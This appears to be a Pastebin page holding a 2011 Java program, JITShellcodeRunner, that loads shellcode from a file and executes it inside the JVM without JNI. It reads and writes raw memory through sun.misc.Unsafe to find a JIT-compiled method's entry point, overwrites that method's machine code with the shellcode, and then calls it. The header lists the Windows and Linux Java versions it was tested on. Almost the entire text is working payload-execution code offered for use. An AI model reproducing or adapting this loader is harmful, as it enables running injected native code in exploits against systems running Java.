Guest User

JITShellcodeRunner.java

a guest
Dec 4th, 2011
398
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 11.84 KB | None | 0 0
  1. /*
  2.  * Running shellcode from Java without JNI (i. e. loading a DLL from disk).
  3.  * (c) 2011 Michael Schierl <schierlm at gmx dot de> (Twitter @mihi42)
  4.  *
  5.  * Thanks to Joshua J. Drake (Twitter @jduck1337) for help with
  6.  * making it work on Win64.
  7.  *
  8.  * On Win32, prepend <http://pastebin.com/n2W1e57p> to your
  9.  * EXITFUNC=thread shellcode to minimize the risk of crashing
  10.  * your Java process when your shellcode finishes.
  11.  *
  12.  * This version has been tested on:
  13.  *
  14.  * Oracle 1.4.2_11 Win32 (-client, -server)
  15.  * Oracle 1.5.0_06 Win32 (-client, -server)  
  16.  * Oracle 1.6.0_19 Win32 (-client, -server)
  17.  * Oracle 1.7.0_01 Win32 (-client, -server)
  18.  *
  19.  * Oracle 1.6.0_26 Linux32 (-client, -server)
  20.  * Oracle 1.7.0_01 Linux32 (-client, -server)
  21.  *  
  22.  */
  23. import java.io.DataInputStream;
  24. import java.io.File;
  25. import java.io.FileInputStream;
  26. import java.io.PrintStream;
  27. import java.lang.reflect.Array;
  28. import java.lang.reflect.Field;
  29.  
  30. import sun.misc.Unsafe;
  31.  
  32. public class JITShellcodeRunner {
  33.     private static Object methodObject;
  34.     public Object obj1, obj2; // for detecting compressed pointers
  35.  
  36.     public static void main(String[] args) throws Exception {
  37.         if (args.length == 0) {
  38.             System.out.println("[-] Need shellcode file parameter");
  39.             return;
  40.         }
  41.         File file = new File(args[0]);
  42.         if (file.length() > 5120) {
  43.             System.out.println("[-] File too large, " + file.length() + " > 5120");
  44.             return;
  45.         }
  46.         byte[] shellcode = new byte[(int) file.length()];
  47.         DataInputStream dis = new DataInputStream(new FileInputStream(file));
  48.         dis.readFully(shellcode);
  49.         dis.close();
  50.         if(run(System.out, shellcode))
  51.             System.exit(42);
  52.     }
  53.  
  54.     public static boolean run(PrintStream log, byte[] shellcode) throws Exception {
  55.         if (shellcode.length > 5120) {
  56.             log.println("[-] File too large, " + shellcode.length + " > 5120");
  57.             return false;
  58.         }
  59.         // avoid Unsafe.class literal here since it may introduce
  60.         // a synthetic method and disrupt our calculations.
  61.         java.lang.reflect.Field unsafeField = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
  62.         unsafeField.setAccessible(true);
  63.         Unsafe unsafe = (Unsafe) unsafeField.get(null);
  64.         long addressSize = unsafe.addressSize();
  65.         log.println("[*] Address size: " + addressSize);
  66.         Class thisClass = Class.forName("JITShellcodeRunner");
  67.         boolean compressedPointers = false;
  68.         if (addressSize == 8) {
  69.             Field fld1 = thisClass.getDeclaredField("obj1");
  70.             Field fld2 = thisClass.getDeclaredField("obj2");
  71.             long distance = Math.abs(unsafe.objectFieldOffset(fld1) - unsafe.objectFieldOffset(fld2));
  72.             compressedPointers = (distance == 4);
  73.             if (compressedPointers)
  74.                 log.println("[*] Compressed pointers detected");
  75.         }
  76.         final int METHOD_COUNT = thisClass.getDeclaredMethods().length + 1;
  77.         log.println("[*] Shellcode class has " + METHOD_COUNT + " methods.");
  78.         Field staticField = thisClass.getDeclaredField("methodObject");
  79.         final Object staticFieldBase = unsafe.staticFieldBase(staticField);
  80.         Object methodArrayBase = staticFieldBase;
  81.         long staticFieldOffset = unsafe.staticFieldOffset(staticField);
  82.         long maxOffset = staticFieldOffset;
  83.         int methodArraySlot = -1;
  84.         long[] values = new long[(int) (maxOffset / addressSize)];
  85.         int firstNonZero = values.length;
  86.         for(boolean retry = false;; retry = true) {
  87.             for (int i = 0; i < values.length; i++) {
  88.                 values[i] = addressSize == 8 ? unsafe.getLong(methodArrayBase, (long) (i * addressSize)) : unsafe.getInt(methodArrayBase, (long) (i * addressSize)) & 0xFFFFFFFFL;
  89.             }
  90.             for (int i = 20; i < values.length; i++) {
  91.                 if (values[i] != 0) {
  92.                     firstNonZero = i;
  93.                     break;
  94.                 }
  95.             }
  96.             if (retry || firstNonZero != values.length)
  97.                 break;
  98.             // Java 7
  99.             log.println("[*] Indirect method array reference detected (JDK7)");
  100.             methodArrayBase = unsafe.getObject(methodArrayBase, 4 * addressSize);
  101.             values = new long[40];
  102.         }
  103.         for (int i = firstNonZero; i < values.length - 5; i++) {
  104.             if (values[i - 2] == 0 && values[i - 1] == 0 && values[i] > 100000 && values[i + 1] > 100000 && values[i + 2] > 100000 && values[i + 2] == values[i + 3]) {
  105.                 methodArraySlot = i;
  106.             }
  107.         }
  108.         if (methodArraySlot == -1) {
  109.             log.println("[-] Method array slot not found.");
  110.             return false;
  111.         }
  112.         log.println("[*] Obtaining method array (slot " + methodArraySlot + ")");
  113.         Field methodSlotField = Class.forName("java.lang.reflect.Method").getDeclaredField("slot");
  114.         methodSlotField.setAccessible(true);
  115.         int shellcodeMethodSlot = ((Integer) methodSlotField.get(thisClass.getDeclaredMethod("jitme", new Class[0]))).intValue();
  116.         if (compressedPointers) {
  117.             // method array looks like this:
  118.             // flags 01 00 00 00 00 00 00 00
  119.             // class xx xx xx xx (compressed)
  120.             // length 05 00 00 00
  121.             // elements (compressed each)
  122.             long methodArrayAddr = unsafe.getLong(methodArrayBase, methodArraySlot * addressSize);
  123.             int methodCount = unsafe.getInt(methodArrayAddr + 12);
  124.             if (methodCount != METHOD_COUNT) {
  125.                 log.println("[-] ERROR: Array length is " + methodCount + ", should be " + METHOD_COUNT);
  126.                 return false;
  127.             }
  128.             log.println("[+] Successfully obtained method array pointer");
  129.             log.println("[*] Obtaining method object (slot " + shellcodeMethodSlot + ")");
  130.             int compressedMethodObjectPointer = unsafe.getInt(methodArrayAddr + 16 + shellcodeMethodSlot * 4);
  131.             unsafe.putInt(staticFieldBase, unsafe.staticFieldOffset(thisClass.getDeclaredField("methodObject")), compressedMethodObjectPointer);
  132.         } else {
  133.             Object methodArray = unsafe.getObject(methodArrayBase, methodArraySlot * addressSize);
  134.             int methodCount = Array.getLength(methodArray);
  135.             if (methodCount != METHOD_COUNT) {
  136.                 log.println("[-] ERROR: Array length is " + methodCount + ", should be " + METHOD_COUNT);
  137.                 return false;
  138.             }
  139.             log.println("[+] Successfully obtained method array");
  140.             log.println("[*] Obtaining method object (slot " + shellcodeMethodSlot + ")");
  141.             methodObject = Array.get(methodArray, shellcodeMethodSlot);
  142.         }
  143.         log.println("[+] Successfully obtained method object");
  144.         maxOffset = 30 * addressSize;
  145.         values = new long[35];
  146.         int cnt = 16;
  147.         int nmethodSlot = -1;
  148.         boolean found = false;
  149.         while (nmethodSlot == -1 && cnt < 1000000) {
  150.             for (int i = 0; i < cnt; i++) {
  151.                 jitme();
  152.             }
  153.             for (int i = 0; i < values.length; i++) {
  154.                 values[i] = addressSize == 8 ? unsafe.getLong(methodObject, (long) (i * addressSize)) : unsafe.getInt(methodObject, (long) (i * addressSize)) & 0xFFFFFFFFL;
  155.             }
  156.             nmethodSlot = 0;
  157.             for (int j = 0; j < values.length - 8; j++) {
  158.                 if (values[j] % 8 == 1 && values[j + 1] == 1) {
  159.                     // more jit needed
  160.                     nmethodSlot = -1;
  161.                     break;
  162.                 } else if (values[j] % 8 == 5 && values[j + 1] == 13) {
  163.                     nmethodSlot = j + 5;
  164.                     if (values[j + 8] > 100000)
  165.                         nmethodSlot = j + 8;
  166.                     break;
  167.                 } else if (values[j] % 8 == 5 && values[j + 1] == 5) {
  168.                     nmethodSlot = j + 2;
  169.                     if (values[j + 5] > 100000)
  170.                         nmethodSlot = j + 4;
  171.                     break;
  172.                 }
  173.             }
  174.             if (nmethodSlot > 0 && values[nmethodSlot] == 0)
  175.                 nmethodSlot = -1;
  176.             if (!found && nmethodSlot != -1) {
  177.                 // jit a bit more to avoid spurious errors
  178.                 found = true;
  179.                 nmethodSlot = -1;
  180.             }
  181.             cnt *= 2;
  182.         }
  183.         if (nmethodSlot == 0) {
  184.             log.println("[-] NMETHOD pointer slot not found");
  185.             return false;
  186.         }
  187.         log.println("[*] Obtaining NMETHOD pointer (slot " + nmethodSlot + ")");
  188.         long nmethodValue = addressSize == 8 ? unsafe.getLong(methodObject, (long) (nmethodSlot * addressSize)) : unsafe.getInt(methodObject, (long) (nmethodSlot * addressSize)) & 0xFFFFFFFFL;
  189.         log.println("[+] Successfully obtained NMETHOD pointer");
  190.         if (nmethodValue == 0) {
  191.             log.println("[-] ERROR: invalid nmethod slot (or JIT did not run?)");
  192.             return false;
  193.         }
  194.         values = new long[40];
  195.         for (int i = 0; i < values.length; i++) {
  196.             values[i] = addressSize == 8 ? unsafe.getLong(nmethodValue + i * addressSize) : unsafe.getInt(nmethodValue + i * addressSize) & 0xFFFFFFFFL;
  197.         }
  198.         int epOffset = -1;
  199.         for (int i = 0; i < values.length - 3; i++) {
  200.             if (values[i] > 10000 && values[i] == values[i + 1] && (values[i] == values[i + 2]) != (values[i] == values[i + 3])) {
  201.                 epOffset = i;
  202.             }
  203.         }
  204.         if (epOffset == -1) {
  205.             log.println("[-] Entry point not found");
  206.             for (int i = 0; i < values.length; i++) {
  207.                 log.println("\t"+i+"\t"+Long.toHexString(values[i]));
  208.             }
  209.             return false;
  210.         }
  211.         log.println("[*] Obtaining entry point pointer (offset " + epOffset + ")");
  212.         final long targetAddress = addressSize == 8 ? unsafe.getLong(nmethodValue + epOffset * addressSize) : unsafe.getInt(nmethodValue + epOffset * addressSize) & 0xFFFFFFFFL;
  213.         log.println("[+] Successfully obtained entry point pointer");      
  214.         long ptr = targetAddress;
  215.         Thread.sleep(1000);
  216.         for (int i = 0; i < shellcode.length; i++) {
  217.             unsafe.putByte(ptr, shellcode[i]);
  218.             ptr++;
  219.         }
  220.         log.println("[+] Successfully overwritten JIT method");
  221.         log.println("[*] Executing native method (drum roll...)");
  222.         executed = false;
  223.         runny();
  224.         if (executed) {
  225.             log.println("[-] ERROR: Original method has been executed!");
  226.             return false;
  227.         }
  228.         log.println("[+] Executed native method and returned!");
  229.         return true;
  230.     }
  231.    
  232.     public static void runny() {
  233.         // one more stack frame (that does not get inlined)
  234.         // seems to fix spurious crashes on Java 1.4...
  235.         "42".toString();
  236.         jitme();
  237.     }
  238.        
  239.     private static volatile boolean executed;
  240.     private static volatile int v1, v2, v3, v4, v5;
  241.  
  242.     private static void jitme() {
  243.         executed = true;
  244.         // On x86: each volatile inc/dec needs 18 bytes,
  245.         // all 320 of them need 5760 bytes,
  246.         // whole JIT method needs 5842 bytes.
  247.         // if you need more shellcode, make a longer method
  248.         v1++; v2++; v3++; v4++; v5++;
  249.         v1++; v2++; v3++; v4++; v5--;
  250.         v1++; v2++; v3++; v4--; v5++;
  251.         v1++; v2++; v3++; v4--; v5--;
  252.         v1++; v2++; v3--; v4++; v5++;
  253.         v1++; v2++; v3--; v4++; v5--;
  254.         v1++; v2++; v3--; v4--; v5++;
  255.         v1++; v2++; v3--; v4--; v5--;
  256.         v1++; v2--; v3++; v4++; v5++;
  257.         v1++; v2--; v3++; v4++; v5--;
  258.         v1++; v2--; v3++; v4--; v5++;
  259.         v1++; v2--; v3++; v4--; v5--;
  260.         v1++; v2--; v3--; v4++; v5++;
  261.         v1++; v2--; v3--; v4++; v5--;
  262.         v1++; v2--; v3--; v4--; v5++;
  263.         v1++; v2--; v3--; v4--; v5--;
  264.         executed = true;
  265.         v1--; v2++; v3++; v4++; v5++;
  266.         v1--; v2++; v3++; v4++; v5--;
  267.         v1--; v2++; v3++; v4--; v5++;
  268.         v1--; v2++; v3++; v4--; v5--;
  269.         v1--; v2++; v3--; v4++; v5++;
  270.         v1--; v2++; v3--; v4++; v5--;
  271.         v1--; v2++; v3--; v4--; v5++;
  272.         v1--; v2++; v3--; v4--; v5--;
  273.         v1--; v2--; v3++; v4++; v5++;
  274.         v1--; v2--; v3++; v4++; v5--;
  275.         v1--; v2--; v3++; v4--; v5++;
  276.         v1--; v2--; v3++; v4--; v5--;
  277.         v1--; v2--; v3--; v4++; v5++;
  278.         v1--; v2--; v3--; v4++; v5--;
  279.         v1--; v2--; v3--; v4--; v5++;
  280.         v1--; v2--; v3--; v4--; v5--;
  281.         if (v1 + v2 + v3 + v4 + v5 != 0)
  282.             throw new RuntimeException();
  283.         v1++; v2++; v3++; v4++; v5++;
  284.         v1++; v2++; v3++; v4++; v5--;
  285.         v1++; v2++; v3++; v4--; v5++;
  286.         v1++; v2++; v3++; v4--; v5--;
  287.         v1++; v2++; v3--; v4++; v5++;
  288.         v1++; v2++; v3--; v4++; v5--;
  289.         v1++; v2++; v3--; v4--; v5++;
  290.         v1++; v2++; v3--; v4--; v5--;
  291.         v1++; v2--; v3++; v4++; v5++;
  292.         v1++; v2--; v3++; v4++; v5--;
  293.         v1++; v2--; v3++; v4--; v5++;
  294.         v1++; v2--; v3++; v4--; v5--;
  295.         v1++; v2--; v3--; v4++; v5++;
  296.         v1++; v2--; v3--; v4++; v5--;
  297.         v1++; v2--; v3--; v4--; v5++;
  298.         v1++; v2--; v3--; v4--; v5--;
  299.         executed = true;
  300.         v1--; v2++; v3++; v4++; v5++;
  301.         v1--; v2++; v3++; v4++; v5--;
  302.         v1--; v2++; v3++; v4--; v5++;
  303.         v1--; v2++; v3++; v4--; v5--;
  304.         v1--; v2++; v3--; v4++; v5++;
  305.         v1--; v2++; v3--; v4++; v5--;
  306.         v1--; v2++; v3--; v4--; v5++;
  307.         v1--; v2++; v3--; v4--; v5--;
  308.         v1--; v2--; v3++; v4++; v5++;
  309.         v1--; v2--; v3++; v4++; v5--;
  310.         v1--; v2--; v3++; v4--; v5++;
  311.         v1--; v2--; v3++; v4--; v5--;
  312.         v1--; v2--; v3--; v4++; v5++;
  313.         v1--; v2--; v3--; v4++; v5--;
  314.         v1--; v2--; v3--; v4--; v5++;
  315.         v1--; v2--; v3--; v4--; v5--;
  316.         executed = true;
  317.     }
  318. }
  319.  
Advertisement
Add Comment
Please, Sign In to add comment